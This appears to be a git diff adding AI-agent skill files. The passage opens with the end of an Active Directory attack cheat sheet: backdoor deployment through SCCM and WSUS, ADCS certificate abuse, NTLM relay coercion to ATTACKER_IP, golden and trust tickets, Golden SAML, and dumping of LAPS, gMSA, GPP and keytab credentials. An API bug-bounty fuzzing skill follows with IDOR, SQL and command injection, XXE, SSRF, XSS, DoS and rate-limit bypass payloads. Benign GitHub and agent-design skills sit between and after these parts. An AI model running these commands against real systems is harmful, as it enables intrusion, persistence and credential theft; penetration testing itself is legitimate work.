MalSCCM.exe inspect /computers
|
||||
|
||||
# Create target group
|
||||
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
|
||||
MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
|
||||
|
||||
# Create malicious app
|
||||
MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
|
||||
|
||||
# Deploy
|
||||
MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
|
||||
|
||||
# Force checkin
|
||||
MalSCCM.exe checkin /groupname:TargetGroup
|
||||
|
||||
# Cleanup
|
||||
MalSCCM.exe app /cleanup /name:backdoor
|
||||
MalSCCM.exe group /delete /groupname:TargetGroup
|
||||
```
|
||||
|
||||
### SCCM Network Access Accounts
|
||||
|
||||
```powershell
|
||||
# Find SCCM blob
|
||||
Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
|
||||
|
||||
# Decrypt with SharpSCCM
|
||||
.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
|
||||
```
|
||||
|
||||
### WSUS Deployment Attack
|
||||
|
||||
```bash
|
||||
# Using SharpWSUS
|
||||
SharpWSUS.exe locate
|
||||
SharpWSUS.exe inspect
|
||||
|
||||
# Create malicious update
|
||||
SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
|
||||
|
||||
# Deploy to target
|
||||
SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
||||
|
||||
# Check status
|
||||
SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
|
||||
|
||||
# Cleanup
|
||||
SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AD Certificate Services (ADCS)
|
||||
|
||||
### ESC1 - Misconfigured Templates
|
||||
|
||||
Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
|
||||
|
||||
```bash
|
||||
# Find vulnerable templates
|
||||
certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
|
||||
|
||||
# Request certificate as admin
|
||||
certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
|
||||
|
||||
# Authenticate
|
||||
certipy auth -pfx administrator.pfx -dc-ip DC_IP
|
||||
```
|
||||
|
||||
### ESC4 - ACL Vulnerabilities
|
||||
|
||||
```python
|
||||
# Check for WriteProperty
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
|
||||
|
||||
# Add ENROLLEE_SUPPLIES_SUBJECT flag
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
|
||||
|
||||
# Perform ESC1, then restore
|
||||
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
|
||||
```
|
||||
|
||||
### ESC8 - NTLM Relay to Web Enrollment
|
||||
|
||||
```bash
|
||||
# Start relay
|
||||
ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
|
||||
# Coerce authentication
|
||||
python3 petitpotam.py ATTACKER_IP DC_IP
|
||||
|
||||
# Use certificate
|
||||
Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
|
||||
```
|
||||
|
||||
### Shadow Credentials
|
||||
|
||||
```bash
|
||||
# Add Key Credential (pyWhisker)
|
||||
python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
|
||||
|
||||
# Get TGT with PKINIT
|
||||
python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
|
||||
|
||||
# Get NT hash
|
||||
export KRB5CCNAME=target.ccache
|
||||
python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Trust Relationship Attacks
|
||||
|
||||
### Child to Parent Domain (SID History)
|
||||
|
||||
```powershell
|
||||
# Get Enterprise Admins SID from parent
|
||||
$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
|
||||
|
||||
# Create Golden Ticket with SID History
|
||||
kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
|
||||
```
|
||||
|
||||
### Forest to Forest (Trust Ticket)
|
||||
|
||||
```bash
|
||||
# Dump trust key
|
||||
lsadump::trust /patch
|
||||
|
||||
# Forge inter-realm TGT
|
||||
kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
|
||||
|
||||
# Use trust ticket
|
||||
.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## ADFS Golden SAML
|
||||
|
||||
**Requirements:**
|
||||
- ADFS service account access
|
||||
- Token signing certificate (PFX + decryption password)
|
||||
|
||||
```bash
|
||||
# Dump with ADFSDump
|
||||
.\ADFSDump.exe
|
||||
|
||||
# Forge SAML token
|
||||
python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Credential Sources
|
||||
|
||||
### LAPS Password
|
||||
|
||||
```powershell
|
||||
# PowerShell
|
||||
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
|
||||
|
||||
# CrackMapExec
|
||||
crackmapexec ldap DC_IP -u user -p password -M laps
|
||||
```
|
||||
|
||||
### GMSA Password
|
||||
|
||||
```powershell
|
||||
# PowerShell + DSInternals
|
||||
$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
|
||||
$mp = $gmsa.'msDS-ManagedPassword'
|
||||
ConvertFrom-ADManagedPasswordBlob $mp
|
||||
```
|
||||
|
||||
```bash
|
||||
# Linux with bloodyAD
|
||||
python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
|
||||
```
|
||||
|
||||
### Group Policy Preferences (GPP)
|
||||
|
||||
```bash
|
||||
# Find in SYSVOL
|
||||
findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
|
||||
|
||||
# Decrypt
|
||||
python3 Get-GPPPassword.py -no-pass 'DC_IP'
|
||||
```
|
||||
|
||||
### DSRM Credentials
|
||||
|
||||
```powershell
|
||||
# Dump DSRM hash
|
||||
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
|
||||
|
||||
# Enable DSRM admin logon
|
||||
Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Linux AD Integration
|
||||
|
||||
### CCACHE Ticket Reuse
|
||||
|
||||
```bash
|
||||
# Find tickets
|
||||
ls /tmp/ | grep krb5cc
|
||||
|
||||
# Use ticket
|
||||
export KRB5CCNAME=/tmp/krb5cc_1000
|
||||
```
|
||||
|
||||
### Extract from Keytab
|
||||
|
||||
```bash
|
||||
# List keys
|
||||
klist -k /etc/krb5.keytab
|
||||
|
||||
# Extract with KeyTabExtract
|
||||
python3 keytabextract.py /etc/krb5.keytab
|
||||
```
|
||||
|
||||
### Extract from SSSD
|
||||
|
||||
```bash
|
||||
# Database location
|
||||
/var/lib/sss/secrets/secrets.ldb
|
||||
|
||||
# Key location
|
||||
/var/lib/sss/secrets/.secrets.mkey
|
||||
|
||||
# Extract
|
||||
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
|
||||
```
|
||||
55
skills/address-github-comments/SKILL.md
Normal file
55
skills/address-github-comments/SKILL.md
Normal file
@@ -0,0 +1,55 @@
|
||||
---
|
||||
name: address-github-comments
|
||||
description: Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI.
|
||||
---
|
||||
|
||||
# Address GitHub Comments
|
||||
|
||||
## Overview
|
||||
|
||||
Efficiently address PR review comments or issue feedback using the GitHub CLI (`gh`). This skill ensures all feedback is addressed systematically.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Ensure `gh` is authenticated.
|
||||
|
||||
```bash
|
||||
gh auth status
|
||||
```
|
||||
|
||||
If not logged in, run `gh auth login`.
|
||||
|
||||
## Workflow
|
||||
|
||||
### 1. Inspect Comments
|
||||
|
||||
Fetch the comments for the current branch's PR.
|
||||
|
||||
```bash
|
||||
gh pr view --comments
|
||||
```
|
||||
|
||||
Or use a custom script if available to list threads.
|
||||
|
||||
### 2. Categorize and Plan
|
||||
|
||||
- List the comments and review threads.
|
||||
- Propose a fix for each.
|
||||
- **Wait for user confirmation** on which comments to address first if there are many.
|
||||
|
||||
### 3. Apply Fixes
|
||||
|
||||
Apply the code changes for the selected comments.
|
||||
|
||||
### 4. Respond to Comments
|
||||
|
||||
Once fixed, respond to the threads as resolved.
|
||||
|
||||
```bash
|
||||
gh pr comment <PR_NUMBER> --body "Addressed in latest commit."
|
||||
```
|
||||
|
||||
## Common Mistakes
|
||||
|
||||
- **Applying fixes without understanding context**: Always read the surrounding code of a comment.
|
||||
- **Not verifying auth**: Check `gh auth status` before starting.
|
||||
40
skills/agent-manager-skill/SKILL.md
Normal file
40
skills/agent-manager-skill/SKILL.md
Normal file
@@ -0,0 +1,40 @@
|
||||
---
|
||||
name: agent-manager-skill
|
||||
description: Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling.
|
||||
---
|
||||
|
||||
# Agent Manager Skill
|
||||
|
||||
## When to use
|
||||
|
||||
Use this skill when you need to:
|
||||
|
||||
- run multiple local CLI agents in parallel (separate tmux sessions)
|
||||
- start/stop agents and tail their logs
|
||||
- assign tasks to agents and monitor output
|
||||
- schedule recurring agent work (cron)
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Install `agent-manager-skill` in your workspace:
|
||||
|
||||
```bash
|
||||
git clone https://github.com/fractalmind-ai/agent-manager-skill.git
|
||||
```
|
||||
|
||||
## Common commands
|
||||
|
||||
```bash
|
||||
python3 agent-manager/scripts/main.py doctor
|
||||
python3 agent-manager/scripts/main.py list
|
||||
python3 agent-manager/scripts/main.py start EMP_0001
|
||||
python3 agent-manager/scripts/main.py monitor EMP_0001 --follow
|
||||
python3 agent-manager/scripts/main.py assign EMP_0002 <<'EOF'
|
||||
Follow teams/fractalmind-ai-maintenance.md Workflow
|
||||
EOF
|
||||
```
|
||||
|
||||
## Notes
|
||||
|
||||
- Requires `tmux` and `python3`.
|
||||
- Agents are configured under an `agents/` directory (see the repo for examples).
|
||||
430
skills/api-fuzzing-bug-bounty/SKILL.md
Normal file
430
skills/api-fuzzing-bug-bounty/SKILL.md
Normal file
@@ -0,0 +1,430 @@
|
||||
---
|
||||
name: API Fuzzing for Bug Bounty
|
||||
description: This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.
|
||||
---
|
||||
|
||||
# API Fuzzing for Bug Bounty
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.
|
||||
|
||||
## Inputs/Prerequisites
|
||||
|
||||
- Burp Suite or similar proxy tool
|
||||
- API wordlists (SecLists, api_wordlist)
|
||||
- Understanding of REST/GraphQL/SOAP protocols
|
||||
- Python for scripting
|
||||
- Target API endpoints and documentation (if available)
|
||||
|
||||
## Outputs/Deliverables
|
||||
|
||||
- Identified API vulnerabilities
|
||||
- IDOR exploitation proofs
|
||||
- Authentication bypass techniques
|
||||
- SQL injection points
|
||||
- Unauthorized data access documentation
|
||||
|
||||
---
|
||||
|
||||
## API Types Overview
|
||||
|
||||
| Type | Protocol | Data Format | Structure |
|
||||
|------|----------|-------------|-----------|
|
||||
| SOAP | HTTP | XML | Header + Body |
|
||||
| REST | HTTP | JSON/XML/URL | Defined endpoints |
|
||||
| GraphQL | HTTP | Custom Query | Single endpoint |
|
||||
|
||||
---
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### Step 1: API Reconnaissance
|
||||
|
||||
Identify API type and enumerate endpoints:
|
||||
|
||||
```bash
|
||||
# Check for Swagger/OpenAPI documentation
|
||||
/swagger.json
|
||||
/openapi.json
|
||||
/api-docs
|
||||
/v1/api-docs
|
||||
/swagger-ui.html
|
||||
|
||||
# Use Kiterunner for API discovery
|
||||
kr scan https://target.com -w routes-large.kite
|
||||
|
||||
# Extract paths from Swagger
|
||||
python3 json2paths.py swagger.json
|
||||
```
|
||||
|
||||
### Step 2: Authentication Testing
|
||||
|
||||
```bash
|
||||
# Test different login paths
|
||||
/api/mobile/login
|
||||
/api/v3/login
|
||||
/api/magic_link
|
||||
/api/admin/login
|
||||
|
||||
# Check rate limiting on auth endpoints
|
||||
# If no rate limit → brute force possible
|
||||
|
||||
# Test mobile vs web API separately
|
||||
# Don't assume same security controls
|
||||
```
|
||||
|
||||
### Step 3: IDOR Testing
|
||||
|
||||
Insecure Direct Object Reference is the most common API vulnerability:
|
||||
|
||||
```bash
|
||||
# Basic IDOR
|
||||
GET /api/users/1234 → GET /api/users/1235
|
||||
|
||||
# Even if ID is email-based, try numeric
|
||||
/?user_id=111 instead of /?user_id=user@mail.com
|
||||
|
||||
# Test /me/orders vs /user/654321/orders
|
||||
```
|
||||
|
||||
**IDOR Bypass Techniques:**
|
||||
|
||||
```bash
|
||||
# Wrap ID in array
|
||||
{"id":111} → {"id":[111]}
|
||||
|
||||
# JSON wrap
|
||||
{"id":111} → {"id":{"id":111}}
|
||||
|
||||
# Send ID twice
|
||||
URL?id=<LEGIT>&id=<VICTIM>
|
||||
|
||||
# Wildcard injection
|
||||
{"user_id":"*"}
|
||||
|
||||
# Parameter pollution
|
||||
/api/get_profile?user_id=<victim>&user_id=<legit>
|
||||
{"user_id":<legit_id>,"user_id":<victim_id>}
|
||||
```
|
||||
|
||||
### Step 4: Injection Testing
|
||||
|
||||
**SQL Injection in JSON:**
|
||||
|
||||
```json
|
||||
{"id":"56456"} → OK
|
||||
{"id":"56456 AND 1=1#"} → OK
|
||||
{"id":"56456 AND 1=2#"} → OK
|
||||
{"id":"56456 AND 1=3#"} → ERROR (vulnerable!)
|
||||
{"id":"56456 AND sleep(15)#"} → SLEEP 15 SEC
|
||||
```
|
||||
|
||||
**Command Injection:**
|
||||
|
||||
```bash
|
||||
# Ruby on Rails
|
||||
?url=Kernel#open → ?url=|ls
|
||||
|
||||
# Linux command injection
|
||||
api.url.com/endpoint?name=file.txt;ls%20/
|
||||
```
|
||||
|
||||
**XXE Injection:**
|
||||
|
||||
```xml
|
||||
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
|
||||
```
|
||||
|
||||
**SSRF via API:**
|
||||
|
||||
```html
|
||||
<object data="http://127.0.0.1:8443"/>
|
||||
<img src="http://127.0.0.1:445"/>
|
||||
```
|
||||
|
||||
**.NET Path.Combine Vulnerability:**
|
||||
|
||||
```bash
|
||||
# If .NET app uses Path.Combine(path_1, path_2)
|
||||
# Test for path traversal
|
||||
https://example.org/download?filename=a.png
|
||||
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
|
||||
https://example.org/download?filename=\\smb.dns.attacker.com\a.png
|
||||
```
|
||||
|
||||
### Step 5: Method Testing
|
||||
|
||||
```bash
|
||||
# Test all HTTP methods
|
||||
GET /api/v1/users/1
|
||||
POST /api/v1/users/1
|
||||
PUT /api/v1/users/1
|
||||
DELETE /api/v1/users/1
|
||||
PATCH /api/v1/users/1
|
||||
|
||||
# Switch content type
|
||||
Content-Type: application/json → application/xml
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## GraphQL-Specific Testing
|
||||
|
||||
### Introspection Query
|
||||
|
||||
Fetch entire backend schema:
|
||||
|
||||
```graphql
|
||||
{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}
|
||||
```
|
||||
|
||||
**URL-encoded version:**
|
||||
|
||||
```
|
||||
/graphql?query={__schema{types{name,kind,description,fields{name}}}}
|
||||
```
|
||||
|
||||
### GraphQL IDOR
|
||||
|
||||
```graphql
|
||||
# Try accessing other user IDs
|
||||
query {
|
||||
user(id: "OTHER_USER_ID") {
|
||||
email
|
||||
password
|
||||
creditCard
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### GraphQL SQL/NoSQL Injection
|
||||
|
||||
```graphql
|
||||
mutation {
|
||||
login(input: {
|
||||
email: "test' or 1=1--"
|
||||
password: "password"
|
||||
}) {
|
||||
success
|
||||
jwt
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Rate Limit Bypass (Batching)
|
||||
|
||||
```graphql
|
||||
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
|
||||
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
|
||||
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}
|
||||
```
|
||||
|
||||
### GraphQL DoS (Nested Queries)
|
||||
|
||||
```graphql
|
||||
query {
|
||||
posts {
|
||||
comments {
|
||||
user {
|
||||
posts {
|
||||
comments {
|
||||
user {
|
||||
posts { ... }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### GraphQL XSS
|
||||
|
||||
```bash
|
||||
# XSS via GraphQL endpoint
|
||||
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}
|
||||
|
||||
# URL-encoded XSS
|
||||
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E
|
||||
```
|
||||
|
||||
### GraphQL Tools
|
||||
|
||||
| Tool | Purpose |
|
||||
|------|---------|
|
||||
| GraphCrawler | Schema discovery |
|
||||
| graphw00f | Fingerprinting |
|
||||
| clairvoyance | Schema reconstruction |
|
||||
| InQL | Burp extension |
|
||||
| GraphQLmap | Exploitation |
|
||||
|
||||
---
|
||||
|
||||
## Endpoint Bypass Techniques
|
||||
|
||||
When receiving 403/401, try these bypasses:
|
||||
|
||||
```bash
|
||||
# Original blocked request
|
||||
/api/v1/users/sensitivedata → 403
|
||||
|
||||
# Bypass attempts
|
||||
/api/v1/users/sensitivedata.json
|
||||
/api/v1/users/sensitivedata?
|
||||
/api/v1/users/sensitivedata/
|
||||
/api/v1/users/sensitivedata??
|
||||
/api/v1/users/sensitivedata%20
|
||||
/api/v1/users/sensitivedata%09
|
||||
/api/v1/users/sensitivedata#
|
||||
/api/v1/users/sensitivedata&details
|
||||
/api/v1/users/..;/sensitivedata
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output Exploitation
|
||||
|
||||
### PDF Export Attacks
|
||||
|
||||
```html
|
||||
<!-- LFI via PDF export -->
|
||||
<iframe src="file:///etc/passwd" height=1000 width=800>
|
||||
|
||||
<!-- SSRF via PDF export -->
|
||||
<object data="http://127.0.0.1:8443"/>
|
||||
|
||||
<!-- Port scanning -->
|
||||
<img src="http://127.0.0.1:445"/>
|
||||
|
||||
<!-- IP disclosure -->
|
||||
<img src="https://iplogger.com/yourcode.gif"/>
|
||||
```
|
||||
|
||||
### DoS via Limits
|
||||
|
||||
```bash
|
||||
# Normal request
|
||||
/api/news?limit=100
|
||||
|
||||
# DoS attempt
|
||||
/api/news?limit=9999999999
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Common API Vulnerabilities Checklist
|
||||
|
||||
| Vulnerability | Description |
|
||||
|---------------|-------------|
|
||||
| API Exposure | Unprotected endpoints exposed publicly |
|
||||
| Misconfigured Caching | Sensitive data cached incorrectly |
|
||||
| Exposed Tokens | API keys/tokens in responses or URLs |
|
||||
| JWT Weaknesses | Weak signing, no expiration, algorithm confusion |
|
||||
| IDOR / BOLA | Broken Object Level Authorization |
|
||||
| Undocumented Endpoints | Hidden admin/debug endpoints |
|
||||
| Different Versions | Security gaps in older API versions |
|
||||
| Rate Limiting | Missing or bypassable rate limits |
|
||||
| Race Conditions | TOCTOU vulnerabilities |
|
||||
| XXE Injection | XML parser exploitation |
|
||||
| Content Type Issues | Switching between JSON/XML |
|
||||
| HTTP Method Tampering | GET→DELETE/PUT abuse |
|
||||
|
||||
---
|
||||
|
||||
## Quick Reference
|
||||
|
||||
| Vulnerability | Test Payload | Risk |
|
||||
|---------------|--------------|------|
|
||||
| IDOR | Change user_id parameter | High |
|
||||
| SQLi | `' OR 1=1--` in JSON | Critical |
|
||||
| Command Injection | `; ls /` | Critical |
|
||||
| XXE | DOCTYPE with ENTITY | High |
|
||||
| SSRF | Internal IP in params | High |
|
||||
| Rate Limit Bypass | Batch requests | Medium |
|
||||
| Method Tampering | GET→DELETE | High |
|
||||
|
||||
---
|
||||
|
||||
## Tools Reference
|
||||
|
||||
| Category | Tool | URL |
|
||||
|----------|------|-----|
|
||||
| API Fuzzing | Fuzzapi | github.com/Fuzzapi/fuzzapi |
|
||||
| API Fuzzing | API-fuzzer | github.com/Fuzzapi/API-fuzzer |
|
||||
| API Fuzzing | Astra | github.com/flipkart-incubator/Astra |
|
||||
| API Security | apicheck | github.com/BBVA/apicheck |
|
||||
| API Discovery | Kiterunner | github.com/assetnote/kiterunner |
|
||||
| API Discovery | openapi_security_scanner | github.com/ngalongc/openapi_security_scanner |
|
||||
| API Toolkit | APIKit | github.com/API-Security/APIKit |
|
||||
| API Keys | API Guesser | api-guesser.netlify.app |
|
||||
| GUID | GUID Guesser | gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18 |
|
||||
| GraphQL | InQL | github.com/doyensec/inql |
|
||||
| GraphQL | GraphCrawler | github.com/gsmith257-cyber/GraphCrawler |
|
||||
| GraphQL | graphw00f | github.com/dolevf/graphw00f |
|
||||
| GraphQL | clairvoyance | github.com/nikitastupin/clairvoyance |
|
||||
| GraphQL | batchql | github.com/assetnote/batchql |
|
||||
| GraphQL | graphql-cop | github.com/dolevf/graphql-cop |
|
||||
| Wordlists | SecLists | github.com/danielmiessler/SecLists |
|
||||
| Swagger Parser | Swagger-EZ | rhinosecuritylabs.github.io/Swagger-EZ |
|
||||
| Swagger Routes | swagroutes | github.com/amalmurali47/swagroutes |
|
||||
| API Mindmap | MindAPI | dsopas.github.io/MindAPI/play |
|
||||
| JSON Paths | json2paths | github.com/s0md3v/dump/tree/master/json2paths |
|
||||
|
||||
---
|
||||
|
||||
## Constraints
|
||||
|
||||
**Must:**
|
||||
- Test mobile, web, and developer APIs separately
|
||||
- Check all API versions (/v1, /v2, /v3)
|
||||
- Validate both authenticated and unauthenticated access
|
||||
|
||||
**Must Not:**
|
||||
- Assume same security controls across API versions
|
||||
- Skip testing undocumented endpoints
|
||||
- Ignore rate limiting checks
|
||||
|
||||
**Should:**
|
||||
- Add `X-Requested-With: XMLHttpRequest` header to simulate frontend
|
||||
- Check archive.org for historical API endpoints
|
||||
- Test for race conditions on sensitive operations
|
||||
|
||||
---
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: IDOR Exploitation
|
||||
|
||||
```bash
|
||||
# Original request (own data)
|
||||
GET /api/v1/invoices/12345
|
||||
Authorization: Bearer <token>
|
||||
|
||||
# Modified request (other user's data)
|
||||
GET /api/v1/invoices/12346
|
||||
Authorization: Bearer <token>
|
||||
|
||||
# Response reveals other user's invoice data
|
||||
```
|
||||
|
||||
### Example 2: GraphQL Introspection
|
||||
|
||||
```bash
|
||||
curl -X POST https://target.com/graphql \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{"query":"{__schema{types{name,fields{name}}}}"}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solution |
|
||||
|-------|----------|
|
||||
| API returns nothing | Add `X-Requested-With: XMLHttpRequest` header |
|
||||
| 401 on all endpoints | Try adding `?user_id=1` parameter |
|
||||
| GraphQL introspection disabled | Use clairvoyance for schema reconstruction |
|
||||
| Rate limited | Use IP rotation or batch requests |
|
||||
| Can't find endpoints | Check Swagger, archive.org, JS files |
|
||||
761
skills/autonomous-agent-patterns/SKILL.md
Normal file
761
skills/autonomous-agent-patterns/SKILL.md
Normal file
@@ -0,0 +1,761 @@
|
||||
---
|
||||
name: autonomous-agent-patterns
|
||||
description: "Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants."
|
||||
---
|
||||
|
||||
# 🕹️ Autonomous Agent Patterns
|
||||
|
||||
> Design patterns for building autonomous coding agents, inspired by [Cline](https://github.com/cline/cline) and [OpenAI Codex](https://github.com/openai/codex).
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Building autonomous AI agents
|
||||
- Designing tool/function calling APIs
|
||||
- Implementing permission and approval systems
|
||||
- Creating browser automation for agents
|
||||
- Designing human-in-the-loop workflows
|
||||
|
||||
---
|
||||
|
||||
## 1. Core Agent Architecture
|
||||
|
||||
### 1.1 Agent Loop
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────────────────────┐
|
||||
│ AGENT LOOP │
|
||||
│ │
|
||||
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
|
||||
│ │ Think │───▶│ Decide │───▶│ Act │ │
|
||||
│ │ (Reason) │ │ (Plan) │ │ (Execute)│ │
|
||||
│ └──────────┘ └──────────┘ └──────────┘ │
|
||||
│ ▲ │ │
|
||||
│ │ ┌──────────┐ │ │
|
||||
│ └─────────│ Observe │◀─────────┘ │
|
||||
│ │ (Result) │ │
|
||||
│ └──────────┘ │
|
||||
└─────────────────────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
```python
|
||||
class AgentLoop:
|
||||
def __init__(self, llm, tools, max_iterations=50):
|
||||
self.llm = llm
|
||||
self.tools = {t.name: t for t in tools}
|
||||
self.max_iterations = max_iterations
|
||||
self.history = []
|
||||
|
||||
def run(self, task: str) -> str:
|
||||
self.history.append({"role": "user", "content": task})
|
||||
|
||||
for i in range(self.max_iterations):
|
||||
# Think: Get LLM response with tool options
|
||||
response = self.llm.chat(
|
||||
messages=self.history,
|
||||
tools=self._format_tools(),
|
||||
tool_choice="auto"
|
||||
)
|
||||
|
||||
# Decide: Check if agent wants to use a tool
|
||||
if response.tool_calls:
|
||||
for tool_call in response.tool_calls:
|
||||
# Act: Execute the tool
|
||||
result = self._execute_tool(tool_call)
|
||||
|
||||
# Observe: Add result to history
|
||||
self.history.append({
|
||||
"role": "tool",
|
||||
"tool_call_id": tool_call.id,
|
||||
"content": str(result)
|
||||
})
|
||||
else:
|
||||
# No more tool calls = task complete
|
||||
return response.content
|
||||
|
||||
return "Max iterations reached"
|
||||
|
||||
def _execute_tool(self, tool_call) -> Any:
|
||||
tool = self.tools[tool_call.name]
|
||||
args = json.loads(tool_call.arguments)
|
||||
return tool.execute(**args)
|
||||
```
|
||||
|
||||
### 1.2 Multi-Model Architecture
|
||||
|
||||
```python
|
||||
class MultiModelAgent:
|
||||
"""
|
||||
Use different models for different purposes:
|
||||
- Fast model for planning
|
||||
- Powerful model for complex reasoning
|
||||
- Specialized model for code generation
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.models = {
|
||||
"fast": "gpt-3.5-turbo", # Quick decisions
|
||||
"smart": "gpt-4-turbo", # Complex reasoning
|
||||
"code": "claude-3-sonnet", # Code generation
|
||||
}
|
||||
|
||||
def select_model(self, task_type: str) -> str:
|
||||
if task_type == "planning":
|
||||
return self.models["fast"]
|
||||
elif task_type == "analysis":
|
||||
return self.models["smart"]
|
||||
elif task_type == "code":
|
||||
return self.models["code"]
|
||||
return self.models["smart"]
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Tool Design Patterns
|
||||
|
||||
### 2.1 Tool Schema
|
||||
|
||||
```python
|
||||
class Tool:
|
||||
"""Base class for agent tools"""
|
||||
|
||||
@property
|
||||
def schema(self) -> dict:
|
||||
"""JSON Schema for the tool"""
|
||||
return {
|
||||
"name": self.name,
|
||||
"description": self.description,
|
||||
"parameters": {
|
||||
"type": "object",
|
||||
"properties": self._get_parameters(),
|
||||
"required": self._get_required()
|
||||
}
|
||||
}
|
||||
|
||||
def execute(self, **kwargs) -> ToolResult:
|
||||
"""Execute the tool and return result"""
|
||||
raise NotImplementedError
|
||||
|
||||
class ReadFileTool(Tool):
|
||||
name = "read_file"
|
||||
description = "Read the contents of a file from the filesystem"
|
||||
|
||||
def _get_parameters(self):
|
||||
return {
|
||||
"path": {
|
||||
"type": "string",
|
||||
"description": "Absolute path to the file"
|
||||
},
|
||||
"start_line": {
|
||||
"type": "integer",
|
||||
"description": "Line to start reading from (1-indexed)"
|
||||
},
|
||||
"end_line": {
|
||||
"type": "integer",
|
||||
"description": "Line to stop reading at (inclusive)"
|
||||
}
|
||||
}
|
||||
|
||||
def _get_required(self):
|
||||
return ["path"]
|
||||
|
||||
def execute(self, path: str, start_line: int = None, end_line: int = None) -> ToolResult:
|
||||
try:
|
||||
with open(path, 'r') as f:
|
||||
lines = f.readlines()
|
||||
|
||||
